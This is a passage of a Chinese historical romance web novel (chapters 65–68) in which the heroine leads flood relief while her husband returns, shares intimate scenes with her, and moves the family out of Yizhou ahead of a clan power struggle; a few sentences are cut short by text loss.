残雨顺着檐廊落下叮叮咚咚,轩窗推开,水汽扑面而来,宓瑶才透了几口气,就听见细碎的雨滴淅沥沥的再度敲打芭蕉,停歇了才一刻钟的夏雨又落了下来。
瞧见墙跟吸满水绿的发慌的青苔因为饱胀而慢慢溃烂,宓瑶第一次因为这连绵不断的雨水拧起了眉。
“也不知这雨还要下到什么时候,听霜华抱怨,铺子那条街都淹了水,进出麻烦了不少。”
见主子蹙眉,诗雅在旁说道,“不过幸好雨水多市面上的青菜就少了,加上菜的味道被水泡过变差,咱们家铺子又有送货上门的服务,许多人家愿意定我们家的熟食。”
“这不是什么好事。”
宓瑶听到诗雅庆幸的语调,淡淡地说道。
雨季刚开始时,她觉得诗意还与甄婧一同听雨烹茶,但雨连下了一周,那就不是什么有趣的乐子而是祸事。
老街口的位置不算低,路上的积水都到了小腿跟,可想而知城内处于低洼地区水都到了什么位置。
一直等到了下午见雨水逐渐变大,依然没有停下了的意思,宓瑶直接差了人出门打听现在的状况,不过派的人刚出门,披着油衣的鄢妘就上了门。
鄢妘坐下抿了口热茶,就直接开口道:“城西边上的几个巷子都淹了水,人都往南边的城隍庙还有祥慈寺移了,若是只淹几条巷子还好,但看这雨水不像要停的样子,就怕一夜下下去,整个城西全都要淹了。”
宓瑶想到城内有些地方可能不好过,但没想到已经有些地方水已经蔓延到了成人腰部。
“岳府没事吧?”
宓瑶记着岳府虽不在城西,但离城西也不远。
“没事,我家府邸位置高,加上那一片官员富户多,时时有家丁巡逻排水,就是城西全淹了也连累不到那一片。”
鄢妘的语调明显没有高兴家中的安全,反倒有几分气闷。
昨日她相公岳晋已经出了城救险,本以为城内不用担心,谁知道从昨夜下到今日,城内也开始淹水。
“如今官府派了人疏通城中的排水,但人手根本不够,我想叫家中的家丁去街上城西帮忙,嫮嫮你觉得如何?”
岳晋走之前与她说最近城中不安稳,让她紧闭家门没事不要出门。
她晓得这事不管水也淹不到岳府,把家丁全都派出去,说不定家宅的安危还会出问题,但她又没办法视而不见。
对上鄢妘忐忑的眼眸,宓瑶心中的不安不比她少。
特别是鄢妘说的岳晋提了如今城中不安稳。
上巳节过后,她就进入了宅在萧府养膘的日子,除却因为天气越来越热,还因为益州开始沸沸扬扬地传言赵天赫重病在床,已经神志不清。
赵天赫旧疾缠身的事益州上层人都心照不宣,但对于百姓来说,这则是个秘密。
没有百姓会希望庇护他们的节度使是个随时一命呜呼的病人,赵天赫每次出现在人前,也都是踔厉风发的模样。
所以市井中开始大范围传播他重病的消息,一想就不是好事。
谁想到益州本就风雨欲来,进入五月后还来了水患。
“我派人去找了苏校尉,看军营现在如何,能均出多少人救灾,到时候编几个小队上报官府,看能帮上什么忙。”
官府跟军营是两个运转系统,如今调转两个系统的赵天赫不知是真重病,无法费神还是如何,只能他们自发的看看能帮上什么忙。
“我等会派人问问其他府邸的夫人,看看她们有没有空闲聚在一起开个会,疏水我们也出不了几个人,但匀些粮食被褥应当不难。”
宓瑶本就犹豫要不要那么做,鄢妘过来算是给她下了个决定。
之前她在节度府怼她那个“三嫂”,说了为了避免让那些破坏女子名节的碎嘴得逞,她们要团结起来互帮互助,一损皆损不能任由谣言蔓延。
她本意只是为了敷衍当时场面,但谁想到心存善念的夫人不少,抓了不少人扔进官府后,城中猜测娘子夫人们的谣言一扫而空。
后头她还与这些夫人们聚过几次会,老街口的铺子开张时还收到了她们送的开业礼。
只能说很多时候事情的发生往往与计划相左,她没想着跟太多人产生关联,但还是不自觉地当了虞琇她们的依靠,还有了鄢妘这般常打交道的朋友。
连带着看到下雨,,檐角垂珠,只会想那些拜过她的百姓,会不会因为家里淹水觉。
眼瞧要到了申时末,宓瑶也不等其他夫人的回应,知晓了官府没有送衣食到寺庙与城隍庙的打算,让濮青去看了这两处灾民的状况,先把送了面食过去。
一夜过去,雨果真没停,,官府也只能开仓放粮。
只是粮食放的不多,只
宓瑶与其他夫人商议之后,差别太大,就没把银子全花在买被褥上,而材,还备了不少米面送过去。
一家派了个监管的管事到几处灾区监察。
益州城内的灾情还处于能控制的地步,而不远的乡镇,也就是岳晋去的那个地方却是遭了大灾。
长使忙的焦头烂额,没法子求到了宓瑶身上,想让她发动城中的富户捐救灾银。
宓瑶不相信整个剑南连这点救灾银都没有,但见长史愁的脸肿了几圈,再想如今这世道又不是现代,剑南就是有银子也得筹备军需,以免旁人趁虚而入。
“父君可有什么安排?”
“赵公劳累,在不停调度兵将救灾,夫人别看每日城内只能均出一碗米粥,荆州遭灾官府直接不管,任由百姓淹死饿死,如今乱世,少有益州那么安稳的地界,赵公这般心善的主公。”
宓瑶应是。
长使既然没有说赵天赫的身体,宓瑶也没有多问,请了各家夫人一同募集善款,至于不熟的富户,她也没上门。
只是趁着雨晴,让一群人拿着箱子去每条街敲锣打鼓,一人大声说出缘由,另外一人拿着册子一家家记录捐银数额。
虽不是强制捐款,但到每家富户门前敲锣打鼓的人停留的就格外久一些。
宓瑶听说有百姓知道是她在募款,都张罗着捐助,说谁都不信但信任她,一边想着这说不定是下头人为了拍她马屁,刻意弄出的言论,还是食欲不振了半天。
萧欻闯进她屋里的时候,她正在想她还能做些什么,焦虑的睡不着。
水腥味涌入,看着穿着蓑衣满身水汽宛若水鬼的高大身影她没吓着,眼珠子从他进门一直盯到他走到桌前去点蜡。
等到他把笠帽取下,两人目光对上,她的眼眸里依然带着半梦半醒的恍惚,没半点害怕。
“我本以为你睡了。”
“所以想装鬼吓我,让我从此害怕上睡觉?”
萧欻取了身上的蓑衣与内层的油布,拿了帕子擦了擦面上的水珠才抬步走向床边。
“没想着要吓你……”
磁性微凉的嗓音顿了顿,因为不晓得怎么解释他的迫不及待,干脆不解释另起话头,“我在外头脱了钉靴,踩不脏你的毯子。”
都是迫不及待了还能有什么原因,自然是因为想见她。
哪怕知道她可能睡着,不能与他说话,不会睁眼瞧他,也想先瞧她一眼再说。
随着萧欻走近,宓瑶的眉头也渐渐拧了起来。
因为蓑衣隔离的很好,萧欻身上衣裳没湿,自然也没有什么潮热氤氲出的臭味,她皱眉的不是味道,而是萧欻的脸。
人的五官与前几个月前没什么差别,没胖没瘦,但就是皮肤……
“你怎么黑了那么多?”
宓瑶蹙眉坐起,若是现在是盛夏,萧欻在外面奔波所以黑成了小麦色还能理解,但日日下雨的,他是去哪里照的太阳?
现在都黑成这样那等到八九月他还能看?
见宓瑶不止嘴上惊讶,还伸手擦拭他的脸颊,想把他的肤色擦回几个月前。
萧欻没觉得不好,反倒腿往榻上一压,凑近了宓瑶让她擦的更加顺手。
“我还以为你脸上是脏了。”
宓瑶没觉得自个用力,但看到萧欻脸颊被帕子摩擦的泛红像是要破皮,不由有点心虚。
听到女人含着睡意的柔软嗓音,萧欻喉咙干渴,扣住了她柔软细腻的手。
原本不觉变黑的肌肤与奶白色交叠,他明白了宓瑶为何觉得他变黑,不过比起肤色的差距,他的视野被极致色泽占据,脑海中开始控制不住想象黑白更深入的交缠。
路上他晓得了宓瑶这段时间忙于赈灾,怜惜她的辛苦,也想了等到两人面对面恐怕第一句就是正事。
“我觉得这般很好……”
男人低哑的嗓音在夜色中散开,宓瑶看着眼前幽深赤黑的眼眸越来越近,最后近到彼此的视线失焦,嘴唇被炙热裹挟。
萧欻的吻又急又猛,宓瑶直接没坐稳被他撞回了枕上。
虽然不疼,但倏然失重的恐慌让她吓得咬了萧欻一口。
舌尖被咬萧欻只当是宓瑶在与他玩,他的手指紧紧扣住了宓瑶,急切地索取她的一切,在她唇上吮了又吮,才恋恋不舍地抽空开口:“快些做完,好收拾东西送你出益州。”
宓瑶:……
萧欻说的匆忙含糊,但宓瑶依然听清了他的话。
这说的还是人话吗?
既然急着要送她出益州,可见益州是出了威胁她生死的大事,就这样他还想着先满足了牛子再说。
齐娘给她的那把匕首她是放哪来着?
让她摸摸是枕头的左边还是右边。
第66章 第六十六章【VIP】
“在找什么?”
萧欻见宓瑶在枕下摸来摸去,俯身在她脖上轻吻,帮她找到了藏在床榻上的匕首。
手指碰到冰冷的刀鞘,萧欻吻的更加怜惜。
“我不在时你那么害怕?”
闻言宓瑶想开口反驳,但嘴唇张开被萧欻视为了邀请。
唇瓣被凶狠地堵住,猛烈的吻仿佛要把她灵魂都要吻透,宓瑶头皮发麻,原本瞪圆的眼眸都逐渐无力朦胧了起来。
她的匕首哪里是拿来防别人,分明是用来防身上这个大色鬼!
可这个色鬼连辩驳的机会都不给她。
“稍等。”
带着薄茧的麦色手指不断抚过宓瑶的腰际,萧欻中途叫停,听到哗啦啦的水声响起,等到萧欻再转回的时候,宓瑶意识到他是冲了个冷水澡。
宓瑶擦掉了嘴角的湿润,觉着萧欻终于意识到正事要紧,哪怕箭在弦上也得停下跟她说明益州此时的情况。
想着,就见洗完冷水澡的萧欻随意擦了身上水珠,二话不说又压上了榻,继续方才停止的一切。
宓瑶:……
“闷了一天,身上有汗怕弄脏你。”
萧欻朝宓瑶解释道。
“既是闷了一天,随便冲冲就能干净?”
宓瑶的没好气换来了萧欻握着她的手摸了他着重清洗的地方,随后他把她的手放在了她的鼻尖。
“你闻,没有味道。”
宓瑶:……
疯了疯了!
感觉手指擦碰到唇瓣,宓瑶呼吸滞了一瞬,对上黑暗中萧欻瘆亮的眸光,她觉得她现在就是在做噩梦。
萧欻没回来,她也没大晚上被脏手碰到嘴巴。
她闭上眼想赶紧把噩梦睡过去,但周围的地动天摇让她喘息不停,根本闭不上眼睛。
她怒瞪萧欻,反而被他握住双手放在了他的腰上:“不是说想念我炙热的体温,有力的腰腹,怎么闭着眼不看我?”
萧欻回想宓瑶那封信上的内容。
三月过后两人依然有书信来往,但宓瑶的信越来越简短,除却问好,就是写府邸一切都好,或者是转述孩子对他的话。
转述也转述的敷衍,有一句萧翼正经的问好,萧良几句没有重点依稀在炫耀他不在萧府时,宓瑶有多开心的描述。
萧善则是每次手沾印泥盖个章,表达了她虽然没什么话与他说,但也给面子参与其中。
等到最后两封信宓瑶直接打发萧翼写信,自个连笔都懒得动。
若不是靠她曾经那两句哄人的话,他都不晓得他是怎么撑到如今。
原本觉得愧疚的深夜打扰,因为想到宓瑶这几个月的冷淡,萧欻的力道越发大了起来。
感觉到萧欻的愤怒,宓瑶安抚地摸了摸他麦色的肌肤。
也不晓得他去江宁都去做了什么,她原本以为他只有脸和脖子晒黑,没想到身上的肌肤也成了小麦色。
哦,还剩了个白色的翘屁股。
看起来就像是开屏公孔雀被拔完了毛,丑的要死还不知道遮掩一二。
“看来这些日子郎君有好好吃饭。”
摸着萧欻没有缩小,而是更为鼓胀的腹肌,宓瑶阴阳怪气地夸奖。
“看来我并没有多想你,没有为你削瘦。”
萧欻接上她之后想说的调侃,下一刻就没再给她说话的机会,狂风骤雨间宓瑶如同巨浪中的小船,除了抱紧他没有其他选择。
等到风浪停歇,宓瑶扑到他的背上,头埋在他脖颈处狠狠咬了一口。
萧欻想翻身把她抱到面前,她就紧紧勒着他的脖子,不让他往后抱。
“你是想杀了我?”
脖颈吃疼,知道他要是强硬把她扒拉下来,她能比他还疼,萧欻干脆软了身体,任由她在他脖子上乱咬。
而他不反抗后,宓瑶果真放轻了力道。
唇齿的温热时不时笼罩脖颈的某处,背后的柔软加上带着疼痛的潮热,萧欻发出了一声喘息。
“我手上的咬痕消了,你要不然再咬上一口?”
萧欻邀请地道。
当时宓瑶咬得狠,他又没有刻意掩饰的意*思,招了不少人的目光,和许多无聊的打趣。
那时他觉得不胜其扰,但如今痕迹褪去,他又觉得少了些什么。
“不要。”
宓瑶困顿地往萧欻背上一趴,原本因为焦躁不安压抑的睡意因为运动统统上涌,她打了个哈欠,“以后就这般睡,这样睡最安全。”
见她没了力,萧里。
而一入萧欻怀抱,。
她觉得她咬人是事后的报复,但对于萧欻来说明间。
呼吸交错,萧欻含住了宓味道。”
听到这话宓瑶呸呸呸两声,她刚刚为了泄愤咬了他的脖子,哪里想到他脖子上的皮肤上全是汗水,她无意间吃了他的汗。
“这些日子我见了不少流离失所的百姓,郎君不在益州不晓得,这次洪灾有多严重,有几处村落都是晚上遭灾,死在了梦里……”
宓瑶说这些原本是为了转移萧欻的注意力,但说着自个心情也低落了下来,抱着他道,“算了,宁愿跟你摇床也不想回想这些。”
萧欻摸了摸她的头,安抚地在她额上吻了一下,还真跟她摇起了床,没说再多安慰她几句。
“姜大夫弄的药要提前半个月吃,我已经吃了半月,若是这次没有用上,就白杀了我的子子孙孙。”
“你这些日子到底是去御敌打仗,还是去了烟花柳巷当常客?”
从他让她闻味道,到现在他说什么子子孙孙,虽然她之前也没觉得他老实,但至少没有像现在这般放荡。
“我在江宁没待多久。”
萧欻自个用冷水,倒是给宓瑶找了热水擦拭,穿好了衣裳,他又把宓瑶抱回了怀里,“那附近传言有矿,我这趟主要是去探查矿产。”
至于江宁,淮南节度使几番试探之后,突然转身北上占领徐州,杀了徐州刺史后如今已经称王,若是再打也是朝汴州出兵。
这趟出门他对大兴如今的局势更加清晰。
现在各个势力都不想碰剑南,不止是因为剑南兵强这块地盘难吞,还因为所有人都在等着剑南内乱。
他身处在益州时不觉,但抽身从外往里看,剑南的确有了要四分五裂的预兆。
父君迟迟不定少主,给了不少人他们可以上位的妄想。
以往他只想走一步看一步,一切按着父君的安排行事,但不知何时起他有了想要更强更有权势的想法。
萧欻低眸看向怀中的宓瑶,似乎是有了她之后,他觉得足够的钱权统统不够了起来。
若是他不强,她随时会成为别人的囊中之物。
那个雪夜她能为他说的权力与金钱双眸发亮,谁晓得她哪日又会被旁人开出的条件吸引。
“益州会乱上一阵,我会帮父君平定乱象,等到一切结束,若是我还有命在,你的身份也将不同。”
“你的命会不在吗?”
闻言,宓瑶抬头眨了眨眼,因为晓得萧欻是男主,所以她对他一直很有信心,但他自个反倒随时做好了就义的准备。
让她跟着也忐忑了起来。
她看书的时候没有整理时间线,但按着记忆中的事件推算,益州若是此时内乱就比书中快了许多。
这个快总不会是因为她起的变故吧?
“会在。”
萧欻察觉到了宓瑶的不安,俯在她耳畔吻了吻,若说他现在多喜爱宓瑶,喜爱到舍生忘死也不至于。
但他一定不想她在旁人面前展露笑颜是真的。
她是他的,这一点他得活着,并且活比许多男人好才能成立。
“说我命会不在是想看看你对我看不看重。”
萧欻说着对上宓瑶升起怒意的眼眸,翘了翘唇,“至多两个月,内乱平定我就去接你回来。”
“非走不可?”
宓瑶有些迟疑,想到了她的铺子还有她每日安排的那些赈灾粮。
像是看出了她的顾虑,萧欻开口:“把你与萧善他们送走,是因为会有不少人对你下手,你们在益州不会那么安全。”
而且他也会束手束脚。
放在以前他不会动送走亲人的想法,但如今他试想了他们出事就觉得气血上涌,无法理智。
“你若是担忧遭了水患的百姓,你放心,父君爱民如子,就是少了你百姓也会得到妥善安置。”
“对,少了我一个也没什么。”
宓瑶的郁气因为萧欻的这句话一下子有了出口,她起床收拾东西,“那还不快送我离开,免得留我在这里碍事。”
“我家是北方人,先是旱灾又是战乱,我五岁时一家十多口从北方一直逃荒逃到了益州,虞宓瑶,我的话不是在数落你,你就当我不会说话罢。”
萧欻本不想解释,但看到宓瑶气鼓鼓的脸颊,想到这次分离又要几个月不见,他回神时人已经站在了宓瑶面前,并且张嘴提起了往事。
十几口人到益州后只剩下了五口,等到他爹娘哥嫂相继离世,剩了他与萧柔还有萧良萧善,加上她又是五口。
他并不讨厌宓瑶的善良,在听说她主动去救灾时,更明白了他为何会为她动心。
“算了,别走了,你留在益州我又不是护不住你,把你送走我反倒安不下心。”
萧欻把还在呆愣的宓瑶抱入怀中,没见着人还好,如今抱了亲了也说了话,他反而不舍与她再分离那么多天。
第67章 第六十七章【VIP】
“我还是走吧,郎君不要意气用事。”
萧欻的怀抱太紧,宓瑶怕窒息在他的怀抱里,拼命的把头挤了出来,下颌压在他的肩上,“我在这里若是被人抓住,成为旁人威胁郎君的软肋就不好了。”
“你就那么想离开我?”
听出萧欻嗓音中的危险,宓瑶试图挣扎出他的怀抱,但他的双臂依然紧紧压在她身上,不许她看他此时的神色。
“说送我走的是郎君,怎么又把罪责怪在了我身上?”
宓瑶无辜道。
“我不是说不想让你走了。”
萧欻搂着宓瑶,觉着男女之情奇异的让他无法理解。
他不觉得他的出身有什么不可说,有心人稍微一查就知道他一家是逃荒的难民,比他惨的人比比皆是,他能活下来就是幸运,没必要遮掩什么。
而如今他竟然把这事当做让宓瑶心软的武器。
试图让她心疼他颠沛流离的小时候。
他的突如其来的念头莫名其妙,而这个莫名其妙的念头展现后,宓瑶的漠然则是让他产生了难堪。
“好好休息,不必收拾行李。”
萧欻松开了宓瑶,转身离开时被宓瑶扯住了衣摆:“又生气了,与我说说是又觉着我哪儿不好了?只听过女人的脸如同六月的天,怎么郎君你一个大男子汉也阴晴不定?”
才运动过两次,宓瑶这会还腿软,但盘算着还是走划得来,她只有耐着性子哄萧欻。
“郎君是想让我心疼你?我以为我装作你什么都没说,才能让你更自在。”
宓瑶转念一想,就晓得萧欻怒气从何而来,抱住她的时候还好好的,只能是因为他露出了柔软的一面,而她视若无睹,所以别扭了。
这真是让人头疼,那么大个个子,皮肤晒得黝黑,还来纯情奶狗那一套。
“我虽然没特意去查过郎君的过往,但郎君少年成名,如今也不过二十二,比我大不了几岁,我晓得郎君有时候的坏脾气是因为曾经遭遇过太多事,哪会不心疼郎君。”
宓瑶抱着萧欻的胳膊,靠在了他肩上,嗓音柔柔地说道。
她说完,萧欻没接话,两人就那么静静靠了一会,就在宓瑶被寂静逼得快打哈欠时,终于听到了萧欻的动静。
“在逃荒的路途中我负责照看我最小的弟弟,他饿死在了我的怀里,因为这个我不喜欢孩子,他们太脆弱,我也没本事照看好他们。”
萧欻语调淡淡,“我是因为如此,所以可以不要自己的子嗣,你呢?”
他娘去世前会逼着让他过继萧良萧善,就是因为知道他厌恶孩子,她管不了他以后的娶妻生子,怕他连侄子侄女也不待见,想两人若是成了他的孩子会不会好些。
实际上并没有好。
若不是宓瑶,他对他们依然会是彻底的放养,不觉得四五岁还小,在他看来会走会吃饭,就是大孩子该自己处理一切。
听到萧欻的问题,知道他是想与她交心,宓瑶没什么好隐瞒。
“我怕死在产床上,郎君忘了我看到你的物件有多害怕,我怎么可能受得了一个活生生的人从那里出来,郎君你自个幻想一下,你时时进出的地方冒出来一个人,你说你怕不怕……”
宓瑶话没落地就被萧欻捂住了嘴巴。
她觉得他说话没数,但他还不都是跟她学的。
“就只是这样?”
嘴被萧欻捂住,宓瑶只能“呜呜”的叫唤。
他身边就没有不生孩子妇人,所以没想过宓瑶是怕生产时的困难,她如今那么解释,放在旁人身上不可理喻,但换做是她,他信她说的是实话。
“那便不生。”
宓瑶点头,在这事上她还挺满意萧欻,他因为她服药的事,经过了憋着一股气,到退让再到现在跟她示弱坦白,看得出他几次想对她发火,都硬生生的忍下。
“再来一次天都要亮了,郎君还是饶了我吧。”
手指挡住了萧欻下压的唇瓣,继续劝他把她送走。
水患过后到处都是难民,知道益州的官员会管,难民都会往益州聚集,赵家人选在这个时候夺位,就是没把百姓的性命当回事,甚至会用百姓的生死作妖。
说她假慈悲也好,没胆子想逃避也好,继续留在萧府她不一定睡得着觉。
在宓瑶的劝说下,排,让宓瑶收拾行李。
宓事,虞琇和孩子们都走,至于甄婧她不想跟虞少阳分开,但为了肚里的孩子,祸。
一切安排好了,内的萧欻,眼里满是疑惑。
“这都出城了,郎君不返回府邸,”
“送到住处。”
萧欻把宓瑶往怀里一压,“如今益州还不需要我。”
听着萧欻轻松的语调,宓瑶有种不祥的预感:“那何时需要郎君?”
“一个月?”萧欻想了想,“或者是再往后。”
赵家旁支虽然在剑南盘根错节,但手上的兵权就那么多,能掀起的风浪有限,重要的是他们掀起风浪后,其他势力的动静。
特别是他与父君早就有心占下的荆州,季家要是有心趁乱分一杯羹,就给了他们违背盟约出兵的理由,若是季家不动,那也只是随便找个借口的事。
南节度使有意篡朝,幽州的高纪自立为王,恒州也蠢蠢欲动。
局面如此,剑南也要早做打算。
“你……”
萧欻迟疑了一下,“想听我谈如今局势吗?”
有些话他愿意跟宓瑶分享,但却觉得这些不能外露的机密,她并不感兴趣。
果真他问完就迎来了宓瑶猛烈地摇头:“大事就别与我说了,我这人守不住秘密。”
“是守不住秘密,还是怕听了就担上责任,没法子悠闲的躺着。”
萧欻边调侃地问她,边趁着她开口,俯身去含她的舌头,比起说那些大事,他让他的嘴巴派上其他用场。
“这是在车上。”
见萧欻越吻越深,宓瑶警告地看向他。
几辆马车全都连在一起,就算她能控制住她嘴里不发出一点声音,车厢不正常的摇晃也会让人知道其中在做什么。
萧欻剥了她的鞋袜,握住了方才在府邸来不及安抚的玉足。
目光上头宛如红玛瑙般的艳色,那艳色像是燃了把火在他心尖焚烧。
让他每一口呼出去的气息都带着火苗。
宓瑶眨眼的功夫,就见自己脚踝处多了一串足链。
红宝石加上鎏金铃铛,漂亮是漂亮,但萧欻是不是越来越不控制他的变态欲了。
之前说他喜欢她的脚,他还遮掩一二,现在直接抱着她的脚摸,几个月不见送给她的还是一串足链。
动了动脚上的铃铛,宓瑶脚一伸架在萧欻的肩上,脚趾去触碰他的耳朵。
一边擦碰他灼热的耳垂,一边打量他的神情,见他神色如常,不像生气,宓瑶的脚趾从他的脖颈慢慢移动到他的面颊。
金铃铛在车内叮咚作响,萧欻张嘴含住了她递到他唇边的脚趾,但只碰了一瞬,下一刻他便倏然俯身要吻她的唇。
“不要不要,别碰我的嘴。”
她不嫌弃她的脚,觉得萧欻喜欢是他的荣幸,但让她自个尝自个脚的味道,她可没那么疯癫。
可惜她的反抗被萧欻统统压制,等到萧欻再起身,她双目无神,破碎地趴在车内的小榻上。
萧欻弹了弹她脚上的金铃:“比起这儿,我还是更爱你的唇。”
呵,她能不知道吗?
她嘴巴都被他舌头干透了。
翻了个身,宓瑶不想去看他,但没一会又被他翻了过来,对视了几眼,她再翻身,他就胸膛贴着她,在她身旁躺下,在她耳畔喘气玩。
“你身上的气味更好闻了。”
没了浓郁的麝香,她身上依然有类似于花草的清甜香气,还带了丝丝的奶香。
萧欻先是轻嗅了嗅,夸完之后,忍不住闭了眼,开始认真嗅她与之前有什么不同,连她咯吱窝都被他掰开闻了闻。
宓瑶:……
就算她对自己的卫生问题有自信,也耐不住萧欻像狗记忆气味般嗅来嗅去,再说他还醉翁之意不在酒,越嗅越往下,明显想要摇车厢。
踹了他肩头一脚。
“郎君还是对我装模作样一些吧,不然我都要晓得你喜爱我喜爱的不得了。”
“你既晓得我是装模作样,那相比让你偷偷看笑话,我这般不是更自在。”
被踹开后,萧欻又抱住了宓瑶,用发丝去瘙痒她脖颈,瞧着她痒的受不来往他怀里钻。
在府邸时,她是觉得两人分别又要几个月不见,才与他说了些软话,谁想到告别的软话根本没用到告别上,他直接与她同乘一车。
还要跟她相处一个月甚至更长。
“我恍惚听到善儿哭了,大晚上要去陌生的地方,他们一定害怕,不如让他们来我这儿。”
“有嫂子看顾,再者我耳力比你好,他们没哭。”
萧欻说着又开始亲宓瑶,她不让亲嘴,就亲她的耳畔,亲脸颊。
知道车内不是好动作的地方,他的亲密都不过激,但每喘几口气就骚扰她一下,让她觉得自己被一只打不死的大蚊子给缠上了。
不知道哪一刻就被亲一下,咬一下,简直防不胜防。
一想到这样的日子很可能要过很长一段时间,她瞧着萧欻越来越灵活的舌头,考虑要不要趁哪天他睡着时把他舌头给割了。
第68章 第六十八章【VIP】
等到赵家人发现宓瑶不在益州,已经是她离开了五天之后。
最先发现这事的是赵八郎,上巳节后他就对宓瑶上了心,把她视作心中神女。
知道宓瑶赈灾,虽然不懂那些活着与死了都没什么作用的贱民有什么好救,但为了能多见宓瑶,他也跟着忙前忙后。
谁知道他还没与宓瑶碰上几次面,就再没见着宓瑶。
他原本是怕宓瑶染了病,担忧她才打听查探,然而这一查就发现她可能不在萧府,连带她的嫂子,与萧家的几个孩子也跟着她走了。
“你确定?!”
赵天阳没想到他们还没朝萧府下手,萧家人就已经先跑了,赵家旁支的几个话事人眉头紧皱。
其中一人有些慌张:“若是虞氏走了,那是不是代表萧欻已经晓得了我们的计划,他要是晓得了我们的计划,节度使那里……”
“事到如今,你怕又有何用?!难不成就此放下,等到萧欻上位,我们赵家任他宰割。”
“若是虞夫人没走,你们打算对她下手?”
今日的堂屋除却了几个赵家长辈,还有他们看中的赵家子弟在场,赵八郎听出赵天阳的意思,面色难看,“虞夫人又没有做错什么,她又美又好,为何要对她下手!”
没等赵天阳开口,赵八郎的老子,赵天昱先给了儿子一掌。
“我们在说正事,你是放什么狗屁!你若是贪图虞氏美色,等到弄死萧欻,你想玩虞氏给你玩便是,一个女人罢了,你做这副姿态是真把她当做什么狗屁神女了!?”
头上挨了一巴掌,赵八郎本想反驳,但听到赵天昱说事成之后把宓瑶给他,他立刻收起了不忿,双眼发光地看着亲老子:“爹有什么需要孩儿去做,孩儿立刻去做!”
“还真有一件事需要你去做。”
赵天阳知晓赵八郎最近为水患忙前忙后,以为他是有了成算,想要借此积累声望,现在看来只是为了讨女人欢心。
讨女人欢心就讨女人欢心吧,反正事情做了,如今也能派上用场。
从上巳节始就不少人传宓瑶是神仙下凡,但因为宓瑶并未做出什么实事,这些传言没有实质性的作用,最多把她貌美的事传得更广。
而因为水患,又开始传说宓瑶是神女化身,下凡救苦救难。
连带着萧欻的声望也开始大涨,十几日的光景民间就编了不少故事,说夫妻俩是神仙眷侣,普度众生。
说赵天赫就是知道了萧欻是神子,才收他为养子,培养他接任剑南节度使的位置。
这一切若是没有人推动他怎么都不信。
“弄死一些百姓,让市井的传言逆转,虞氏只能是妖女,不能是什么神女。”
“听你大伯的话,今日带你来是因为你是我的嫡子,若是你不中用,我可不止你一个儿子。”
赵天昱见儿子面色犹豫,把丑话说在前头堵住了他的嘴。
闻言,赵八郎不敢再有废话,他在赵家子弟中不算出众,今日能叫上他,就是看在他这些日子在水患中做出了点成绩。
接下任务,赵八郎立刻准备动手。
弄死人简单,但弄死什么人却是学问。
想了想他便打算对见过宓瑶,与宓瑶说过话的百姓下手。
“郎君,潘氏又来了,比起以往还更要疯癫,说若是你不听她的就会死在萧镇使的手上……”
传话的下人面色难看,他不想触主子霉头,但潘氏又是给银子,又是威胁,主子也一直不让人彻底赶走她,纵容她一而再再而三的上门,他只有照实传话。
“这回不说多看好我,觉得我能成就大事了?”
赵八郎一脸轻蔑。
他以往觉得潘氏有几分美貌,谁知道潘氏就是个疯婆子,被赵天赫赶离益州后又偷偷跑了回来,不去跟赵天赫求情,反而来找他,一副对他情有独钟的模样。
往常她嘴里都是夸他的好话,他听着舒爽就没有下令驱离她,如今听到她说他会死在萧欻的手上,还得靠她才能逃脱,他便变得不耐烦起来。
“打一顿扔出益州,得给她打疼了,让她晓得什么人能惹什么人惹不得,别再上门烦我。”
吩咐过后,赵八郎就没再关心潘氏。
而本就被新婚丈夫迁怒,骨瘦如柴的潘氏哪里经得起赵家下人的殴打,听到这些下人说是赵八郎下令。
潘氏满眼怨恨:“赵八郎口口声声说心悦我,求娶我时情话说尽,如今却如此对我!”
“你这疯婆子疯的不轻,我家八郎君怎么会求娶你这个丑寡妇,对你这样的疯婆子说情话,嘴巴怕是要长烂疮。”
“哈哈哈哈,可不是,你面前,八郎君立刻就捂着嘴要呕,衣裳被她抓住,回屋直。”
潘氏注重面子,虽然头发愁白了许多,但来见赵八郎,
没想到她极力维持的颜面在赵八郎眼中如此不堪。
忆不停闪过,潘氏先前只是恨宓瑶恨萧欻,如今也恨上了赵八郎。
若不是他不争气败给萧欻,她上一世怎么会惨死,若不是份,让她成了赵八郎的续弦,就是萧场。
“赵家人……你们等着!”
赵八郎吩咐了下人下狠手,这些家奴自然不会留手,潘氏咳出几口浓血,见到血里的碎齿,心头的怨恨灼烧她的五脏六腑,她阴狠地看着赵府牌匾,她对付不了萧欻,难不成还对付不了原本就是失败者的赵家?
上一世赵八郎死在她的前面,这一世也该如此。
*
因为觉着赵家旁支没一个好东西,所以哪怕赵八郎每日嬉笑,不嫌泥水脏污,挽着裤子帮忙清理街道运输物品,宓瑶也防着他那张笑脸。
受了她的提醒,鄢妘接替了救灾的事务后也防着赵八郎。
发现宓瑶不出现之后,赵八郎就不再为水患奔波,她看清了赵八郎有两幅面孔,等到赵八郎再次出现,她不觉得他变好,而是派人监视他的一举一动。
因为盯着赵八郎,自然就发现了他对百姓下毒,以及他散播的对宓瑶不利的谣言。
只是没等鄢妘做什么反击,赵八郎留宿的私宅就走了水,晓得不是萧欻出手,她惊讶的一愣一愣。
在给宓瑶的信上不禁怀疑地问宓瑶,她是不是真的是观音大士派遣下凡的神仙,对她下黑手的人会自动得到处罚?
收到鄢妘的信,宓瑶不禁想笑,若是她真是那么好运就好了。
正想着,灼热的“巨蟒”一如往常的把她缠的不能动弹,萧欻从身后紧紧地拥住了她,唇靠在她耳畔,吐着“蛇信子”:“信上写了什么,瞧你一副开心的模样。”
萧欻还算守规矩,虽然视线能对信笺上的内容一览无余,他没有侧眼去看,而是专心地盯着宓瑶晶莹如玉的耳垂。
但宓瑶还宁愿他不守规矩,注意力别集中在她身上,做点不对的事好让她与他吵一场大架。
离开益州到今天快有小半个月,宓瑶现在对萧欻的亲近连挣扎都欠奉。
刚开始萧欻说他最近会很悠闲,益州的纷争不需要他处理,她以为他是在说笑吓她,那么个节骨眼,他怎么可能悠闲。
但实际上他真的每日都闲在住处,只是偶尔晚上会跑出去办事,而每次办事也会很快返回宅院,然后就像现在这样像是一条大蟒蛇一样抱着她。
若是现在是冬日还好,过了夏至他还这般不嫌热,她却受不了。
只是面对她的发火,他只说是因为她嫌他黑,所以他才要多抱她,好染些嫩白在身上。
“郎君真是好笑,要是肤色能染,你光想着变白,那我变黑了怎么办?”
“你黑一些也貌美,但我黑了却是难看。”
宓瑶被萧欻缠得浑身无力,只有顺着他的话哄他:“哪儿难看,在我眼中郎君英俊威武,不管是黑是白都英武无双。”
